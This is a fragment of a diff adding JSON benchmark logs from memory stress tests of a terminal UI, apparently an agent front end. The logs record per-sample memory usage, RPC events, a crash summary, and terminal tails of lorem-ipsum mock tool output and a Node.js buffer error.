"exitCode": 7,
|
||||
"signal": 0,
|
||||
"t": 9384
|
||||
},
|
||||
"stream_done": true,
|
||||
"msgs_streamed": 3000,
|
||||
"events_streamed": 10759,
|
||||
"pty_bytes_total": 76784,
|
||||
"pty_data_callbacks": 38,
|
||||
"first_byte_ms": 153,
|
||||
"session_create_ms": 201,
|
||||
"stream_start_ms": 1709,
|
||||
"vmhwm_kb": 917736,
|
||||
"cg_peak": 6536753152,
|
||||
"drain_max_loop_lag_ms": 33,
|
||||
"drain_lag_violations": 3,
|
||||
"drain_ok": false,
|
||||
"digest": null
|
||||
},
|
||||
"pty_tail": "nes)⚡write_fileAliquip aliqua consectetur officias $ terminal Occaecat reprehenderit exercitation incididunt. · 1.7s (2 lines) ◇read_file Laboris magna amet culpa. · 1.8s (18 lines) ◦ edit_file Adipiscing deserunt nulla duis. · 1.9s (7 lines) ◦grep Excepteur irure nostrud tempor. · 2.0s (2 lines)●web_search Ullamco labore sit sunt. · 2.1s (18 lines)◆write_file Consectetur officia fugiat consequat. · 2.2s (7 lines) $ terminal Pariatur aute quis eiusmod. · 2.3s (2 lines) ⧉ copy ⚕ ⧉ copy $terminal Occaecat reprehenderit exercitation incididunt. · 1.7s (2 lines) ◇read_file Laboris magna amet culpa. · 1.8s (18 lines) ◦edit_file Adipiscing deserunt nulla duis. · 1.9s (7 lines) ◦grep Excepteur irure nostrud tempor. · 2.0s (2 lines) ●web_search Ullamco labore sit sunt. · 2.1s (18 lines) ◆write_file Consectetur officia fugiat consequat. · 2.2s (7 lines) $terminal Pariatur aute quis eiusmod. · 2.3s (2 lines) ⧉ copy ⚕ - - - const x2 = 97function f2() { return x}⧉ copy●6⧉ copy ⚕ ⧉ copy ⚕ ⧉ copy⚕▍ ◐⚕ - - - const x6 = 57function f2() { return x}⧉ copy⚕ - - - const x0 = 58function f3() { return x}⧉ copy⚕ ▼ Thinking: Veniam sed anim│ │ ◇read_file Aute quis eiusmod lorem. · 2.4s (18 lines) ◦edit_file Incididunt dolor proident velit. · 2.5s (7 lines) ◦grep Culpa cillum commodo enim. · 2.6s (2 lines) ● web_search Duis veniam sed anim. · 2.7s (18 lines) ◆ write_file Tempor ipsum cupidatat voluptate. · 2.8s (7 lines) $terminal Sunt esse aliquip aliqua. · 2.9s (2 lines) ◇ read_file Consequat minim elit mollit. · 3.0s (18 lines) ◦edit_file Eiusmod lorem occaecat reprehenderit. · 3.1s (7 lines) ⧉ copy ⚕ 7◇read_file Aute quis eiusmod lorem. · 2.4s (18 lines) ◦edit_file Incididunt dolor proident velit. · 2.5s (7 lines) ◦grep Culpa cillum commodo enim. · 2.6s (2 lines) ●web_search Duis veniam sed anim. · 2.7s (18 lines) ◆write_file Tempor ipsum cupidatat voluptate. · 2.8s (7 lines) $terminal Sunt esse aliquip aliqua. · 2.9s (2 lines) ◇read_file Consequat minim elit mollit. · 3.0s (18 lines) ◦edit_file Eiusmod lorem occaecat reprehenderit. · 3.1s (7 lines) ⧉ copy ⚕ - - - const x0 = 21function f1() { return x}⧉ copy● ⧉ copy ⚕ ◦ edit_file Occaecat reprehenderit exercitation incididunt. · 0.5s (7 lines) ◦grep Laboris magna amet culpa. · 0.6s (2 lines) ⚡web_search Adipiscing deserunt nulla duis. · 0s◐- - - const x6 = 83function f3() { return x}Occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna amet culpa cillum commodo enim. Quis eiusmod lorem occaecat reprehenderit exercitation. Mollit pariatur aute quis eiusmod lorem occaecat.- Laboris magna amet culpa cillum.- Adipiscing deserunt nulla duis veniam sed anim.- Excepteur irure nostrud tempor.Ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip aliqua consectetur officia fugiat. Irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip aliqua consectetur.● web_search.7s (18 lines)9file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915\n throw new Error(`Failed to create optimized buffer: ${width}x${height}`);\n ^\nError: Failed to create optimized buffer: 120x12\n at FFIRenderLib.createOptimizedBuffer (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915:13)\n at OptimizedBuffer.create (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:11918:24)\n at TerminalConsole.show (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:21058:44)\n at CliRenderer.<anonymous> (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:23222:20)\n at process.emit (node:events:509:20)\n at process._fatalException (node:internal/process/execution:190:32)\nNode.js v26.3.0"
|
||||
}
|
||||
@@ -0,0 +1,765 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "mem3000",
|
||||
"ui": "opentui",
|
||||
"config": "otui-capped",
|
||||
"mode": "mem",
|
||||
"rep": 1,
|
||||
"run_id": "mq8jyfi3-9iyw",
|
||||
"utc": "2026-06-10T20:59:59.356Z",
|
||||
"sha": "50e34713b",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": "2G",
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": 3000,
|
||||
"fixture": {
|
||||
"path": "/home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/bench/.cache/fixture-3000.ndjson",
|
||||
"msgs": 3000,
|
||||
"sha256": "0df05a04a611dda68aa07865f21c45b08edc78e0a71d4c8cb2b674729778d96d"
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2369510,
|
||||
"gw_pid": 2369523,
|
||||
"cgroup": "/sys/fs/cgroup/user.slice/user-1001.slice/session-7349.scope",
|
||||
"load_avg_at_start": [
|
||||
0.85,
|
||||
0.57,
|
||||
0.47
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 25,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 26620,
|
||||
"pss_kb": 9806,
|
||||
"private_dirty_kb": 3108,
|
||||
"vmhwm_kb": 26620,
|
||||
"utime_ticks": 0,
|
||||
"stime_ticks": 0,
|
||||
"cg_current": 3198296064,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1033,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 11,
|
||||
"rss_kb": 105328,
|
||||
"pss_kb": 64253,
|
||||
"private_dirty_kb": 48596,
|
||||
"vmhwm_kb": 107756,
|
||||
"utime_ticks": 20,
|
||||
"stime_ticks": 2,
|
||||
"cg_current": 3198902272,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1692,
|
||||
"msgs": 100,
|
||||
"events": 355,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 106572,
|
||||
"pss_kb": 65476,
|
||||
"private_dirty_kb": 49840,
|
||||
"vmhwm_kb": 107756,
|
||||
"utime_ticks": 21,
|
||||
"stime_ticks": 2,
|
||||
"cg_current": 3199021056,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1721,
|
||||
"msgs": 200,
|
||||
"events": 738,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 117112,
|
||||
"pss_kb": 75936,
|
||||
"private_dirty_kb": 60252,
|
||||
"vmhwm_kb": 117112,
|
||||
"utime_ticks": 27,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3199021056,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1722,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 117120,
|
||||
"pss_kb": 75944,
|
||||
"private_dirty_kb": 60260,
|
||||
"vmhwm_kb": 117124,
|
||||
"utime_ticks": 28,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3199021056,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1723,
|
||||
"msgs": 400,
|
||||
"events": 1432,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 117148,
|
||||
"pss_kb": 75972,
|
||||
"private_dirty_kb": 60288,
|
||||
"vmhwm_kb": 117152,
|
||||
"utime_ticks": 28,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3199021056,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1724,
|
||||
"msgs": 501,
|
||||
"events": 1792,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 117160,
|
||||
"pss_kb": 75984,
|
||||
"private_dirty_kb": 60300,
|
||||
"vmhwm_kb": 117164,
|
||||
"utime_ticks": 28,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3199021056,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 2046,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 240808,
|
||||
"pss_kb": 197341,
|
||||
"private_dirty_kb": 180876,
|
||||
"vmhwm_kb": 240824,
|
||||
"utime_ticks": 81,
|
||||
"stime_ticks": 7,
|
||||
"cg_current": 3199107072,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2245,
|
||||
"msgs": 601,
|
||||
"events": 2154,
|
||||
"pty_bytes": 37880,
|
||||
"pty_writes": 17,
|
||||
"rss_kb": 257716,
|
||||
"pss_kb": 214080,
|
||||
"private_dirty_kb": 197536,
|
||||
"vmhwm_kb": 257812,
|
||||
"utime_ticks": 106,
|
||||
"stime_ticks": 8,
|
||||
"cg_current": 3199311872,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2422,
|
||||
"msgs": 701,
|
||||
"events": 2496,
|
||||
"pty_bytes": 40363,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 290072,
|
||||
"pss_kb": 246426,
|
||||
"private_dirty_kb": 229892,
|
||||
"vmhwm_kb": 290428,
|
||||
"utime_ticks": 128,
|
||||
"stime_ticks": 9,
|
||||
"cg_current": 3200040960,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2447,
|
||||
"msgs": 801,
|
||||
"events": 2857,
|
||||
"pty_bytes": 41355,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 298000,
|
||||
"pss_kb": 254285,
|
||||
"private_dirty_kb": 237692,
|
||||
"vmhwm_kb": 298144,
|
||||
"utime_ticks": 136,
|
||||
"stime_ticks": 9,
|
||||
"cg_current": 3199799296,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2450,
|
||||
"msgs": 901,
|
||||
"events": 3245,
|
||||
"pty_bytes": 41355,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 298400,
|
||||
"pss_kb": 254685,
|
||||
"private_dirty_kb": 238092,
|
||||
"vmhwm_kb": 297592,
|
||||
"utime_ticks": 137,
|
||||
"stime_ticks": 9,
|
||||
"cg_current": 3199799296,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2452,
|
||||
"msgs": 1001,
|
||||
"events": 3588,
|
||||
"pty_bytes": 41355,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 295160,
|
||||
"pss_kb": 251445,
|
||||
"private_dirty_kb": 234852,
|
||||
"vmhwm_kb": 297592,
|
||||
"utime_ticks": 137,
|
||||
"stime_ticks": 9,
|
||||
"cg_current": 3199799296,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2454,
|
||||
"msgs": 1101,
|
||||
"events": 3928,
|
||||
"pty_bytes": 41355,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 295568,
|
||||
"pss_kb": 251853,
|
||||
"private_dirty_kb": 235260,
|
||||
"vmhwm_kb": 297592,
|
||||
"utime_ticks": 137,
|
||||
"stime_ticks": 9,
|
||||
"cg_current": 3199799296,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2456,
|
||||
"msgs": 1201,
|
||||
"events": 4298,
|
||||
"pty_bytes": 41355,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 295800,
|
||||
"pss_kb": 252085,
|
||||
"private_dirty_kb": 235492,
|
||||
"vmhwm_kb": 297592,
|
||||
"utime_ticks": 137,
|
||||
"stime_ticks": 9,
|
||||
"cg_current": 3199799296,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2457,
|
||||
"msgs": 1300,
|
||||
"events": 4659,
|
||||
"pty_bytes": 41355,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 296056,
|
||||
"pss_kb": 252341,
|
||||
"private_dirty_kb": 235748,
|
||||
"vmhwm_kb": 297592,
|
||||
"utime_ticks": 138,
|
||||
"stime_ticks": 9,
|
||||
"cg_current": 3199799296,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2903,
|
||||
"msgs": 1400,
|
||||
"events": 5011,
|
||||
"pty_bytes": 41355,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 468980,
|
||||
"pss_kb": 425153,
|
||||
"private_dirty_kb": 408548,
|
||||
"vmhwm_kb": 468996,
|
||||
"utime_ticks": 235,
|
||||
"stime_ticks": 18,
|
||||
"cg_current": 3200602112,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 3054,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 41355,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 499912,
|
||||
"pss_kb": 456085,
|
||||
"private_dirty_kb": 439480,
|
||||
"vmhwm_kb": 499928,
|
||||
"utime_ticks": 250,
|
||||
"stime_ticks": 18,
|
||||
"cg_current": 3200593920,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3534,
|
||||
"msgs": 1500,
|
||||
"events": 5384,
|
||||
"pty_bytes": 44170,
|
||||
"pty_writes": 22,
|
||||
"rss_kb": 534956,
|
||||
"pss_kb": 491129,
|
||||
"private_dirty_kb": 474524,
|
||||
"vmhwm_kb": 534956,
|
||||
"utime_ticks": 300,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3201155072,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3684,
|
||||
"msgs": 1600,
|
||||
"events": 5730,
|
||||
"pty_bytes": 46055,
|
||||
"pty_writes": 23,
|
||||
"rss_kb": 535820,
|
||||
"pss_kb": 491993,
|
||||
"private_dirty_kb": 475388,
|
||||
"vmhwm_kb": 535868,
|
||||
"utime_ticks": 317,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3200622592,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 4060,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 48276,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 565124,
|
||||
"pss_kb": 521297,
|
||||
"private_dirty_kb": 504692,
|
||||
"vmhwm_kb": 565124,
|
||||
"utime_ticks": 355,
|
||||
"stime_ticks": 23,
|
||||
"cg_current": 3201978368,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4237,
|
||||
"msgs": 1700,
|
||||
"events": 6100,
|
||||
"pty_bytes": 50759,
|
||||
"pty_writes": 25,
|
||||
"rss_kb": 570876,
|
||||
"pss_kb": 527049,
|
||||
"private_dirty_kb": 510444,
|
||||
"vmhwm_kb": 570904,
|
||||
"utime_ticks": 375,
|
||||
"stime_ticks": 23,
|
||||
"cg_current": 3201060864,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4787,
|
||||
"msgs": 1800,
|
||||
"events": 6455,
|
||||
"pty_bytes": 55578,
|
||||
"pty_writes": 27,
|
||||
"rss_kb": 600836,
|
||||
"pss_kb": 557009,
|
||||
"private_dirty_kb": 540404,
|
||||
"vmhwm_kb": 601100,
|
||||
"utime_ticks": 432,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 3201822720,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 5063,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 55578,
|
||||
"pty_writes": 27,
|
||||
"rss_kb": 630232,
|
||||
"pss_kb": 586405,
|
||||
"private_dirty_kb": 569800,
|
||||
"vmhwm_kb": 630320,
|
||||
"utime_ticks": 460,
|
||||
"stime_ticks": 28,
|
||||
"cg_current": 3202007040,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5392,
|
||||
"msgs": 1900,
|
||||
"events": 6838,
|
||||
"pty_bytes": 60725,
|
||||
"pty_writes": 29,
|
||||
"rss_kb": 632396,
|
||||
"pss_kb": 588569,
|
||||
"private_dirty_kb": 571964,
|
||||
"vmhwm_kb": 632616,
|
||||
"utime_ticks": 493,
|
||||
"stime_ticks": 28,
|
||||
"cg_current": 3202117632,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5844,
|
||||
"msgs": 2000,
|
||||
"events": 7151,
|
||||
"pty_bytes": 63787,
|
||||
"pty_writes": 30,
|
||||
"rss_kb": 663860,
|
||||
"pss_kb": 620033,
|
||||
"private_dirty_kb": 603428,
|
||||
"vmhwm_kb": 663860,
|
||||
"utime_ticks": 539,
|
||||
"stime_ticks": 30,
|
||||
"cg_current": 3202842624,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 6070,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 66765,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 668208,
|
||||
"pss_kb": 624381,
|
||||
"private_dirty_kb": 607776,
|
||||
"vmhwm_kb": 668252,
|
||||
"utime_ticks": 562,
|
||||
"stime_ticks": 31,
|
||||
"cg_current": 3203407872,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 6520,
|
||||
"msgs": 2100,
|
||||
"events": 7532,
|
||||
"pty_bytes": 68991,
|
||||
"pty_writes": 32,
|
||||
"rss_kb": 693816,
|
||||
"pss_kb": 649989,
|
||||
"private_dirty_kb": 633384,
|
||||
"vmhwm_kb": 693816,
|
||||
"utime_ticks": 608,
|
||||
"stime_ticks": 33,
|
||||
"cg_current": 3203493888,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 7075,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 71150,
|
||||
"pty_writes": 33,
|
||||
"rss_kb": 723308,
|
||||
"pss_kb": 679481,
|
||||
"private_dirty_kb": 662876,
|
||||
"vmhwm_kb": 723308,
|
||||
"utime_ticks": 665,
|
||||
"stime_ticks": 35,
|
||||
"cg_current": 3203358720,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7226,
|
||||
"msgs": 2201,
|
||||
"events": 7892,
|
||||
"pty_bytes": 72878,
|
||||
"pty_writes": 34,
|
||||
"rss_kb": 723708,
|
||||
"pss_kb": 679881,
|
||||
"private_dirty_kb": 663276,
|
||||
"vmhwm_kb": 723708,
|
||||
"utime_ticks": 681,
|
||||
"stime_ticks": 35,
|
||||
"cg_current": 3203919872,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7377,
|
||||
"msgs": 2301,
|
||||
"events": 8254,
|
||||
"pty_bytes": 73927,
|
||||
"pty_writes": 35,
|
||||
"rss_kb": 727704,
|
||||
"pss_kb": 683877,
|
||||
"private_dirty_kb": 667272,
|
||||
"vmhwm_kb": 727712,
|
||||
"utime_ticks": 696,
|
||||
"stime_ticks": 35,
|
||||
"cg_current": 3203964928,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7878,
|
||||
"msgs": 2401,
|
||||
"events": 8596,
|
||||
"pty_bytes": 76342,
|
||||
"pty_writes": 37,
|
||||
"rss_kb": 755644,
|
||||
"pss_kb": 711817,
|
||||
"private_dirty_kb": 695212,
|
||||
"vmhwm_kb": 755748,
|
||||
"utime_ticks": 750,
|
||||
"stime_ticks": 37,
|
||||
"cg_current": 3204108288,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7903,
|
||||
"msgs": 2501,
|
||||
"events": 8957,
|
||||
"pty_bytes": 76342,
|
||||
"pty_writes": 37,
|
||||
"rss_kb": 758700,
|
||||
"pss_kb": 714873,
|
||||
"private_dirty_kb": 698268,
|
||||
"vmhwm_kb": 758712,
|
||||
"utime_ticks": 752,
|
||||
"stime_ticks": 37,
|
||||
"cg_current": 3204087808,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7908,
|
||||
"msgs": 2601,
|
||||
"events": 9345,
|
||||
"pty_bytes": 76342,
|
||||
"pty_writes": 37,
|
||||
"rss_kb": 758724,
|
||||
"pss_kb": 714897,
|
||||
"private_dirty_kb": 698292,
|
||||
"vmhwm_kb": 758748,
|
||||
"utime_ticks": 752,
|
||||
"stime_ticks": 37,
|
||||
"cg_current": 3204087808,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 8078,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 76342,
|
||||
"pty_writes": 37,
|
||||
"rss_kb": 820220,
|
||||
"pss_kb": 776393,
|
||||
"private_dirty_kb": 759788,
|
||||
"vmhwm_kb": 820220,
|
||||
"utime_ticks": 774,
|
||||
"stime_ticks": 40,
|
||||
"cg_current": 3204931584,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 8532,
|
||||
"msgs": 2701,
|
||||
"events": 9688,
|
||||
"pty_bytes": 77954,
|
||||
"pty_writes": 38,
|
||||
"rss_kb": 846112,
|
||||
"pss_kb": 802285,
|
||||
"private_dirty_kb": 785680,
|
||||
"vmhwm_kb": 846184,
|
||||
"utime_ticks": 819,
|
||||
"stime_ticks": 41,
|
||||
"cg_current": 3204521984,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 9009,
|
||||
"msgs": 2801,
|
||||
"events": 10028,
|
||||
"pty_bytes": 78613,
|
||||
"pty_writes": 39,
|
||||
"rss_kb": 868832,
|
||||
"pss_kb": 825004,
|
||||
"private_dirty_kb": 808400,
|
||||
"vmhwm_kb": 868832,
|
||||
"utime_ticks": 867,
|
||||
"stime_ticks": 43,
|
||||
"cg_current": 3215708160,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 9085,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 78613,
|
||||
"pty_writes": 39,
|
||||
"rss_kb": 869044,
|
||||
"pss_kb": 825216,
|
||||
"private_dirty_kb": 808612,
|
||||
"vmhwm_kb": 869044,
|
||||
"utime_ticks": 875,
|
||||
"stime_ticks": 43,
|
||||
"cg_current": 3212128256,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 9913,
|
||||
"msgs": 2901,
|
||||
"events": 10398,
|
||||
"pty_bytes": 81674,
|
||||
"pty_writes": 41,
|
||||
"rss_kb": 901240,
|
||||
"pss_kb": 857412,
|
||||
"private_dirty_kb": 840808,
|
||||
"vmhwm_kb": 901240,
|
||||
"utime_ticks": 959,
|
||||
"stime_ticks": 46,
|
||||
"cg_current": 3172499456,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 10088,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 81674,
|
||||
"pty_writes": 41,
|
||||
"rss_kb": 901584,
|
||||
"pss_kb": 857756,
|
||||
"private_dirty_kb": 841152,
|
||||
"vmhwm_kb": 901584,
|
||||
"utime_ticks": 977,
|
||||
"stime_ticks": 46,
|
||||
"cg_current": 3173011456,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 201
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "died",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 7,
|
||||
"signal": 0,
|
||||
"t": 10302
|
||||
},
|
||||
"stream_done": false,
|
||||
"msgs_streamed": 2901,
|
||||
"events_streamed": null,
|
||||
"pty_bytes_total": 83955,
|
||||
"pty_data_callbacks": 44,
|
||||
"first_byte_ms": 149,
|
||||
"session_create_ms": 201,
|
||||
"stream_start_ms": 1691,
|
||||
"vmhwm_kb": 901584,
|
||||
"cg_peak": 6536753152,
|
||||
"drain_max_loop_lag_ms": 10,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": null
|
||||
},
|
||||
"pty_tail": " lines) ◦ edit_fileOfficia fugia consequat minim. ·0.7s (7 lines)const x0 = 43function f3() { return x}⧉ copy⚕ ▼ Thinking: Irure nostrud tempor│Culpa cillum commodo enim adipiscing deserunt nulla duis veniam sed anim. Laboris magna amet culpa cillum │ commodo enim adipiscing deserunt nulla duis veniam. Irure nostrud tempor ipsum cupidatat voluptate.- Labore sit sunt esse aliquip.- Officia fugiat consequat minim elit mollit pariatur.- Aute quis eiusmod lorem.Occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna amet culpa cillum commodo enim. Quis eiusmod lorem occaecat reprehenderit exercitation.$terminal Irure nostrud tempor ipsum. · 0.5s (2 lines)◇rad_fie Labore it sunt esse. · 0.6s (18lines) ◦editOfficia fugiat conquatminim. ·0.7s (7 lines)⚡grep Autequis eiusmod lorem. · 0s ⧉ copy ⚕ ⧉ copy ⚕▼Thinking: Elit mollit 